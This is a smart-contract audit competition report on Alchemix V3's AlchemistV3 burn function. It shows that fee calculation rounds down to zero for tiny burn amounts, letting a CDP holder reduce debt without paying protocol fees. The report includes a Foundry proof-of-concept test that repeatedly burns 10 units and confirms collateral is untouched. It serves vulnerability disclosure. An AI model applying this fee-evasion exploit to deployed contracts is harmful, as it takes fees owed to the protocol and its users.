58323 sc critical the alchemist burn function experiences precision loss resulting in the avoidance of protocol fees

Submitted on Nov 1st 2025 at 09:18:15 UTC by @pashap9990 for Audit Comp | Alchemix V3

• Report ID: #58323

• Report Type: Smart Contract

• Report severity: Critical

• Target: https://github.com/alchemix-finance/v3-poc/blob/immunefi_audit/src/AlchemistV3.sol

• Impacts:

  • Theft of unclaimed yield

Description

Finding Description and Impact

CDP holders can reduce their debt through Alchemist::burn. Furthermore, they are required to remit a fee to the protocol, which is deducted from their collateral. However, CDP holders can evade paying fees to the protocol, resulting in the theft of fees due to precision losses.

Code snippet

https://github.com/alchemix-finance/v3-poc/blob/a192ab313c81ba3ab621d9ca1ee000110fbdd1e9/src/AlchemistV3.sol#L483

Textual PoC

Suppose mtoken --> debt token rate is 1:1 and the protocol fee is 100 [1%].

• User A deposits 100e18 mToken as collateral and gets 50e18 alToken as debt.

• User A calls Alchemist::burn with 10 as the debt amount in the next block.

_accounts[recipientId].collateralBalance -= convertDebtTokensToYield(credit) * protocolFee / BPS;
10 * 100 / 10_000 = 0.1 --> which rounds down to zero

It's evident that the user's debt decreased, whereas the user didn't pay any fee.

Proof of Concept

Proof of Concept

Kindly incorporate the following PoC in Alchemist.t.sol

    function testBurnFunctionSufferFromPrecisionLoss() external {
        uint256 amount = 100e18;

        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(vault), address(alchemist), amount + 100e18);
        alchemist.deposit(amount, address(0xbeef), 0);
        // a single position nft would have been minted to 0xbeef
        uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        alchemist.mint(tokenId, amount / 2, address(0xbeef));

        vm.roll(block.number + 1);

        SafeERC20.safeApprove(address(alToken), address(alchemist), amount);
        (uint256 beforeCollateral, uint256 beforeUserDebt,) = alchemist.getCDP(tokenId);
        uint i = 0;
        while(i < 1000){
            alchemist.burn(10, tokenId);
            i++;
        }
        vm.stopPrank();

        (uint256 afterCollateral, uint256 afterUserDebt,) = alchemist.getCDP(tokenId);

        assertEq(beforeCollateral, afterCollateral);
        assertLe(afterUserDebt, beforeUserDebt);
    }